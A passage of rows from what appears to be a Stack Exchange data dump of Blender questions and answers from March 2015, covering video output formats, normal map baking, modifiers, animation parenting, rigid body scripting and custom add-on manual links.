  <row Id="27065" PostTypeId="1" CreationDate="2015-03-13T03:24:48.890" Score="1" ViewCount="379" Body="&lt;p&gt;For video editing I'm learning blender from a youtube tutorial, but I get quickly stuck when I am supposed to choose the preferred output movie format. The favorite XVid is not there. I have tried to install everything related to XVid, but still to no avail. What am I missing  here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rob.&lt;/p&gt;&#xA;" OwnerUserId="13137" LastActivityDate="2020-07-31T18:35:05.350" Title="Fedora21: Only three movie options (AVI JPEG, AVI Raw, Frameserver)? No XVid! Why?" Tags="&lt;editing&gt;&lt;video&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27066" PostTypeId="2" ParentId="2622" CreationDate="2015-03-13T04:31:07.563" Score="2" Body="&lt;p&gt;Don't use the Mix Shader, use the Add Shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/13ikf.png&quot; alt=&quot;cycles material&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2739" LastActivityDate="2015-03-13T04:31:07.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27067" PostTypeId="2" ParentId="27042" CreationDate="2015-03-13T04:54:55.593" Score="2" Body="&lt;p&gt;Blender has lots of options texture baking.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If one situation is showing up errors, there are multiple fall-backs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most obvious issue people have with Object Space maps is that Commercial game Engines rarely have full support if any at all for this format.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These maps can be usable outside of Blender if you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) Know how to write GPU shaders&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(2) Know how to send the proper rotation matrix to the shader.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's a whole other topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender, Object Space maps offer by far the easiest and fastest workflow available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Blender tool which alters a model produces information that an Object Space map is able to capture with no special treatment needed.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your high-Poly model can be the very same model as your low-poly model.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only one asset is needed here.  Often with Tangent Space baking, it will be necessary to trace a ray from one model through to the other using &quot;Selected To Active&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you may also want to use a cage;  Now that's 3 assets instead of only one to keep track of, and they also have dependencies with one another that can break the bake if anything is changed on one of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In comparison,  to bake an Object space map using Blender internal is one of Blenders easiest tools to use.&lt;br&gt;&#xA;It's only three or four easy steps to produce one.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only one model is needed for this to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(i)    Make a UV layer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/theuA.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(ii)   Click the 'New' Image Button or drag and drop a texture from your Hard-Disk-drive onto the newly created UV layout in the UV Image Editor.  Be sure to select all the faces prior to adding the image texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b7C1Q.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(iii)  Press the 'Bake' button in the Render panel.&#xA;The animated .gif makes it look bad but it should come out flawlessly so long as the UV's are nicely shaped and proportional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CYKh2.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2CmCO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(iv)   Use the map in a render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a2Rnd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(v)   Add a multi-resolution modifier and change to Sculpt Mode.  Increase the Sub-Division iterations as high as you can go and start sculpting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C4Yyk.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can bake object space maps any time simply by pressing the 'Bake' button&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h3Xwn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's all that's needed for a basic bake and it can be used for Blender Render(Internal), Cycles and GLSL renders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cP0WE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should also be mostly easy to do for the BGE shader system so long as the proper Reversed Rotation Matrix can be accessed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The efficiency gain here is really substantial both in terms of memory requirements and also with the GPU shader instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(i)   In the Vertex shader, an Object Space map shader requires only a Simple 3x3 Matrix multiply against the light position.  No Normals, Tangents, BiTangent's are needed so the arrays can be much smaller.(less memory, shorter transfer times, more of the model fits into the faster but small cached memory pool which helps to eliminate redundant calculations :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The efficiency of object space maps leaves the GPU free to do other lighting effects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A limitation of them is that you should never &quot;Apply The Rotation&quot; of your models because that extra Rotation info from Object mode is being used in the shader to correct the object space map vectors.  That's a tiny limitation, in practice it's not usually a big deal so long as you are aware of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scatter and Rotate small rocks and whatever else all over all the scene and the normal maps should hold up fine just as Tangent maps do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can Join and Separate Objects and still have valid Object space maps so long as you do not rotate any of the meshes in Edit Mode before re-separating them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Displacement Modifier also bakes to Object space maps with results the same as with Multi-res Sculpting.  It works beautifully. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender has excellent support for Object space maps even when they are being rotated so long as the model is not an animated character mesh.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think the bone system has been upgraded to support them yet, but for mechanical toy-like models with hinges and for background objects or still renders, they are ideal due to the simple setup and the ray-trace free workflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of a particle system that uses duplicated objects which are set to rotate across the surface of another model. &#xA;Cycles is handling the normal map rotations without any issue that I can see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sphere that is being duplicated is very low poly but appears to have a lot of detail.&lt;br&gt;&#xA;The 3D viewport response is excellent, even with many more instances, since there are no high-resolution generative modifiers being used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7mLpl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2017-01-16T02:05:59.137" LastActivityDate="2017-01-16T02:05:59.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27069" PostTypeId="1" CreationDate="2015-03-13T09:25:20.730" Score="1" ViewCount="136" Body="&lt;p&gt;I have a script and tried to optimize it for CPU path prediction. It worked perfectly, but I got one problem left:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Options are selected in the user interface, so path prediction should work. In the beginning only option 1 is activated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if option1:&#xA;   do_slightly_demanding_task1()&#xA;&#xA;if option2:&#xA;   do_more_demanding_task2()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works, until I activate option 2. Of course, now there are 2 demanding tasks to do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BUT:&lt;/strong&gt; When I deactivate option 2 again, the script still executes noticebly slower than in the beginning. Resetting Blender brings the speed back. How come?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;I just need to know, that path prediction &lt;strong&gt;IS NOT&lt;/strong&gt; responsible for the slow down. The case is really as simple as the pseudocode above. &lt;/p&gt;&#xA;" OwnerUserId="8235" LastEditorUserId="8235" LastEditDate="2015-03-13T09:36:35.987" LastActivityDate="2015-03-13T09:36:35.987" Title="Path prediction: Python script slowing down" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-03-15T01:19:14.200" ContentLicense="CC BY-SA 3.0" />
  <row Id="27070" PostTypeId="1" AcceptedAnswerId="27074" CreationDate="2015-03-13T10:31:11.757" Score="1" ViewCount="990" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pZ2hY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created this model in AutoCAD and I am looking to recreate this design in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create the model I created two closed polylines and set there Z's. To draw the arc between the top and bottom plates the UCS can be aligned so that an arc can be drawn in 3D and then extruded along the top polyline to create this part that looks kind of like a lantern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am continuing to try to do this in Blender but I have not yet been able to achieve the design. Is this possible to model in Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You!&lt;/p&gt;&#xA;" OwnerUserId="13143" LastActivityDate="2015-03-13T17:40:54.627" Title="Extruding an arc shape with a plane as the extrusion path" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27071" PostTypeId="1" CreationDate="2015-03-13T10:47:30.230" Score="3" ViewCount="263" Body="&lt;p&gt;I would like to use Blender's interactive help functionality for my custom operators, i.e. RMB an operator's button and choosing &lt;em&gt;Online Manual&lt;/em&gt; or &lt;em&gt;Online Python Reference&lt;/em&gt; to link to my own manual and code documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there a way to set custom links for a custom operator's help options?&lt;/p&gt;&#xA;" OwnerUserId="13141" LastActivityDate="2015-03-13T17:02:35.893" Title="Add Manual and Python Reference Links for Custom Operators" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;&lt;operator&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27072" PostTypeId="1" CreationDate="2015-03-13T11:24:53.520" Score="0" ViewCount="1298" Body="&lt;p&gt;If I open up Blender v2.73 and select the cube and delete it. Then select front view ortho and add a circle mesh and check align to view. Then add a mirror modifier the mirrored part does not appear. However if I make a face (doesn't matter how, press f or extrude and edge) then the mirrored half appears. Is this a bug? I'm new to blender so don't feel confident about reporting this. This appears to work as expected in a tutorial video that I watched (Venoms Lab2 Modelling 1).&lt;/p&gt;&#xA;" OwnerUserId="13145" LastActivityDate="2015-03-13T16:17:43.033" Title="Mirror Modifier does not work on where ther are no faces" Tags="&lt;modifiers&gt;&lt;vertices&gt;&lt;mirror&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27073" PostTypeId="2" ParentId="27072" CreationDate="2015-03-13T11:29:05.873" Score="1" Body="&lt;p&gt;Edges are a the equivalent of a geometrical line segment, having neither height nor width, just length. The only reason they exist is to connect the vertices, it has no visible change. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A single vertex in a similar manner is the same as a geometrical point, having no height, width, or length, just being a set of infinitesimally precis coordinates, creating no visible surface to render. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will have to extrude the mesh in some way to make it visible at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Another point, made by Chebhou&lt;/strong&gt;, is that the modifier mirrors the object based off of the origin of the mesh, if you have a complete circle mirrored on all axis, it will appear to be exactly the same. It is only when you delete some of the vertices that you notice it is actually being mirrored.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-03-13T15:13:02.803" LastActivityDate="2015-03-13T15:13:02.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27074" PostTypeId="2" ParentId="27070" CreationDate="2015-03-13T11:58:51.287" Score="6" Body="&lt;p&gt;there could be many ways,  this is one :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add a biziere curve align it to front view&lt;/li&gt;&#xA;&lt;li&gt;convert it to mesh with &lt;kbd&gt;Alt&lt;/kbd&gt;+ &lt;kbd&gt;C&lt;/kbd&gt; &lt;/li&gt;&#xA;&lt;li&gt;add a screw modifier &lt;/li&gt;&#xA;&lt;li&gt;set the steps to 4 (in the modifier)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LRB2G.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-13T11:58:51.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27075" PostTypeId="1" AcceptedAnswerId="27076" CreationDate="2015-03-13T13:02:59.603" Score="2" ViewCount="1499" Body="&lt;p&gt;I've made a simple animation which moves an object along one axis back and forth. Now i want to change position of this object, to fit the rest of the model - but after playing animation, it goes back into place that it was previously animated. Is it possible to animate in local space? (to be able to change global position of animated object, and keyframes will not overwrite it)&lt;/p&gt;&#xA;" OwnerUserId="8335" LastActivityDate="2015-03-13T13:18:40.160" Title="How to animate object in local space?" Tags="&lt;animation&gt;&lt;objects&gt;&lt;keyframes&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27076" PostTypeId="2" ParentId="27075" CreationDate="2015-03-13T13:18:40.160" Score="5" Body="&lt;p&gt;Yes, but a much simpler (conventional) way is to have a setup like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Empty2 -&amp;gt; Empty1 -&amp;gt; Object&lt;/code&gt;, where the arrow represents a &lt;em&gt;'parent of'&lt;/em&gt; relationship.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Empty2 is a parent of Empty1, and Empty 1 is a parent of Object. Then when you keyframe Empty1, Object will move accordingly. On top of that you can then keyframe Empty2 and Empty1 (and therefor Object) will move in relative orientations.&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-03-13T13:18:40.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27077" PostTypeId="2" ParentId="21643" CreationDate="2015-03-13T13:52:03.407" Score="6" Body="&lt;p&gt;This will add rigid body to the object (add the object to the rigid body group of the scene)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C.scene.rigidbody_world.group.objects.link(C.object)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as &lt;em&gt;zeffii&lt;/em&gt; pointed this assumes that a rigid_body_world has been created, which is done with &lt;code&gt;bpy.ops.rigidbody.world_add()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="29301" LastEditDate="2018-09-10T11:40:29.870" LastActivityDate="2018-09-10T11:40:29.870" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27078" PostTypeId="2" ParentId="27055" CreationDate="2015-03-13T13:54:33.250" Score="1" Body="&lt;p&gt;I got it - Just by activating the snapping tool - snap to vertex, the selection can be easily snapped to the vertex of an edge by scaling it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From this&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TCZxn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To this&#xA;&lt;img src=&quot;https://i.stack.imgur.com/f1ALW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastActivityDate="2015-03-13T13:54:33.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27079" PostTypeId="2" ParentId="27072" CreationDate="2015-03-13T15:19:49.893" Score="2" Body="&lt;p&gt;All modifiers have &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/The_Stack#Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;several options&lt;/a&gt; that alter the way they are displayed. Not all modifiers have every option available. The buttons for these display choices are shown at the top of each modifier -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QAqvv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first two options  are available to all modifiers and make the modifier visible in final render or viewport display. In object mode in the viewport with this enabled you will see the edges created by the mirror modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BVieZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When available the other two options effect what modifier data is shown in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While in edit mode and with the third option disabled you will not see any of the mesh created by the modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kE43Y.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While in edit mode and the third option enabled you will see only faces drawn that are created by the modifier. This is the default for many modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v1I0q.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final option allows the full edit mesh to be displayed. With this enabled you can select parts of the mesh on the mirrored side. Be careful with this option as all movements are done on the real geometry only, as you select mirrored vertices and move them they will move 'backwards' to what you expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zn4yH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also remember that with the mirror modifier, if your mesh is centred around the point of the mirror, the duplicated mesh may be located in the same place as existing mesh data.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2015-03-13T16:17:43.033" LastActivityDate="2015-03-13T16:17:43.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27080" PostTypeId="1" CreationDate="2015-03-13T15:28:33.803" Score="3" ViewCount="3296" Body="&lt;p&gt;I'm trying to do 3D printing with Blender. When I import the object to the printer, it appears very small, I don't understand why... I tried scaling it to the maximum allowed by the printer software, but it is still too small. How can I make sure it's the right size? &lt;/p&gt;&#xA;" OwnerUserId="13147" LastEditorUserId="3078" LastEditDate="2015-03-14T23:48:07.303" LastActivityDate="2018-10-21T11:10:17.490" Title="Why is the scale of the model I try to 3D print so small?" Tags="&lt;3d-printing&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27081" PostTypeId="1" CreationDate="2015-03-13T15:38:50.150" Score="0" ViewCount="46" Body="&lt;p&gt;I have never used Blender before, I'm here to see if it can actually be beneficial for my case, I need to make a fluid simulation, but beside the simulation I need the velocity fields between frames. Which is possible if I programmed the whole thing from scratch. Im not sure if Blender can give access to these information or it just focus on the simulation part ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="13148" LastActivityDate="2015-03-13T15:38:50.150" Title="Do I have access to velocity fields between frames in fluid simulation" Tags="&lt;fluid-simulation&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27082" PostTypeId="2" ParentId="21505" CreationDate="2015-03-13T15:48:47.383" Score="1" Body="&lt;p&gt;For some reason the obj[&quot;RenderToTexture&quot;].refresh(True) makes it not work. If I change it to obj[&quot;RenderToTexture&quot;].refresh(False) it works also in standalone for me. Strange...&lt;/p&gt;&#xA;" OwnerUserId="8363" LastActivityDate="2015-03-13T15:48:47.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27083" PostTypeId="2" ParentId="27071" CreationDate="2015-03-13T16:08:52.257" Score="-1" Body="&lt;p&gt;There doesn't appear to be a way for us to include custom links on an individual operator basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a &quot;mapping&quot; table that exists in &lt;a href=&quot;https://developer.blender.org/diffusion/BA/browse/master/modules/rna_wiki_reference.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;rna_wiki_reference.py&lt;/a&gt; that links internal naming to url creation which always uses &quot;blender.org/manual&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the python reference, &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/release/scripts/startup/bl_operators/wm.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;WM_OT_doc_view in wm.py&lt;/a&gt; (line 988) uses &quot;blender.org/documentation/blender_python_api&quot; in it's calculation of a url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without our addon details existing in either location, we don't have access to those features. I don't know of any plans to extend that to addon developers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all your addon operators are in their own custom panel you could create an operator that opens a url to your own site and have an extra &quot;help&quot; button that links to your web page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now the only supported way to include links is in our addons bl_info. The two links we can use are &lt;code&gt;wiki_url&lt;/code&gt; and &lt;code&gt;tracker_url&lt;/code&gt; which are used in the preferences for the &quot;Documentation&quot; and &quot;Report a Bug&quot; buttons shown with the addons info.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    ...&#xA;    &quot;wiki_url&quot;: &quot;http://myaddon.com&quot;,&#xA;    &quot;tracker_url&quot;: &quot;http://mybugreports.com&quot;,&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k8pcn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-13T16:08:52.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27084" PostTypeId="1" CreationDate="2015-03-13T16:10:04.970" Score="1" ViewCount="31" Body="&lt;p&gt;I'm extremely new to blender and need to know, before I get going, if it is possible to use my animation on websites.&lt;br&gt;&#xA;I develop websites and am looking for an animation software to make my websites even better, so before I start putting a lot of time into learning blender, I need to make sure it is possible to use it on my website.&lt;/p&gt;&#xA;" OwnerUserId="13150" LastEditorUserId="2217" LastEditDate="2015-03-13T16:46:00.060" LastActivityDate="2015-03-13T16:46:00.060" Title="How can I use my blender animation on my website?" Tags="&lt;animation&gt;&lt;export&gt;&lt;video&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-03-13T17:14:57.510" ContentLicense="CC BY-SA 3.0" />
  <row Id="27085" PostTypeId="1" AcceptedAnswerId="27088" CreationDate="2015-03-13T16:48:34.950" Score="3" ViewCount="1208" Body="&lt;p&gt;I was wondering if there was a way to connect the two end points of this strap I made on blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to get an even fit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zv4PZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13024" LastActivityDate="2016-03-08T17:54:07.513" Title="How do I close a object with the curve modifier applied to it?" Tags="&lt;objects&gt;&lt;bezier-curves&gt;&lt;path&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27086" PostTypeId="2" ParentId="27071" CreationDate="2015-03-13T16:51:58.523" Score="3" Body="&lt;p&gt;There are two functions that takes you to the docs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Blender docs&#xA;bpy.ops.wm.doc_view_manual(doc_id=&quot;&quot;)&#xA;&#xA;# Blender Python docs&#xA;bpy.ops.wm.doc_view(doc_id=&quot;&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems that they take their parameters from the property as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;doc_id = data.identifier + property_name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where the property has been created in this manner:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;col.row().prop(data, property_name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those functions search the &lt;code&gt;_manual_map&lt;/code&gt; for this &lt;code&gt;doc_id&lt;/code&gt;. The &lt;code&gt;manual_map&lt;/code&gt; contains by default the &lt;code&gt;blender_default_map&lt;/code&gt; which is &lt;code&gt;(prefix, manual_mapping )&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;&lt;em&gt;prefix&lt;/em&gt;&lt;/strong&gt; is simply '&lt;a href=&quot;https://blender.org/manual&quot; rel=&quot;nofollow&quot;&gt;https://blender.org/manual&lt;/a&gt;' while &lt;strong&gt;&lt;em&gt;manual_mapping&lt;/em&gt;&lt;/strong&gt; is dict you give it the something+doc_id (in this case bpy.ops) and you get the rest of the url &lt;br&gt;(&lt;code&gt;url = prefix + manual_mapping[doc_id]&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to add you manual you create your addon_map:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;prefix = &quot;https://myaddon.org/manual/&quot;&#xA;my_manual_mapping =(&#xA;    (&quot;bpy.ops.myaddon.*&quot;, &quot;page_one&quot;),&#xA;    (&quot;bpy.ops.myaddon.something.*&quot;, &quot;page_one/page_two.html&quot;)&#xA;)&#xA;&#xA;def my_map():&#xA;&#xA;  ret = (prefix, my_manual_mapping)&#xA;  return ret&#xA;&#xA;bpy.utils.register_manual_map(my_map)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.ops.wm.doc_view_manual(doc_id=&quot;&quot;)&lt;/code&gt; will now take you to your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: I have this in my addon: &lt;code&gt;bl_idname = &quot;myaddon.simple_operator&quot;&lt;/code&gt;)&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="1363" LastEditDate="2015-03-13T17:02:35.893" LastActivityDate="2015-03-13T17:02:35.893" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27087" PostTypeId="2" ParentId="27085" CreationDate="2015-03-13T17:04:13.943" Score="5" Body="&lt;p&gt;Just make the curve cyclic:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OW7pq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vuC17.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;This will link your start and end points&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-03-13T17:04:13.943" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27088" PostTypeId="2" ParentId="27085" CreationDate="2015-03-13T17:17:19.593" Score="6" Body="&lt;p&gt;Select one end of the curve, then the second end (holding &lt;kbd&gt;SHIFT&lt;/kbd&gt;) and press &lt;kbd&gt;F&lt;/kbd&gt; button. It'll connect two ends.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7n7Rn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now choose the merged end, select the handle and press &lt;kbd&gt;S&lt;/kbd&gt;. Hold &lt;kbd&gt;SHIFT&lt;/kbd&gt; to precisely match two ends of the mesh.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bj9DB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fDKoT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may although change a shape of a curve a bit. You may use the other method, which leaves the curve's shape as it is. First select the mesh, enter the &lt;em&gt;Edit Mode&lt;/em&gt; and enable the &lt;strong&gt;&lt;em&gt;'use the modifier while in edit mode'&lt;/em&gt;&lt;/strong&gt; option.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UpBeV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now scale the mesh along the desired axis to match its ends precisely.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YNNgJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also select the 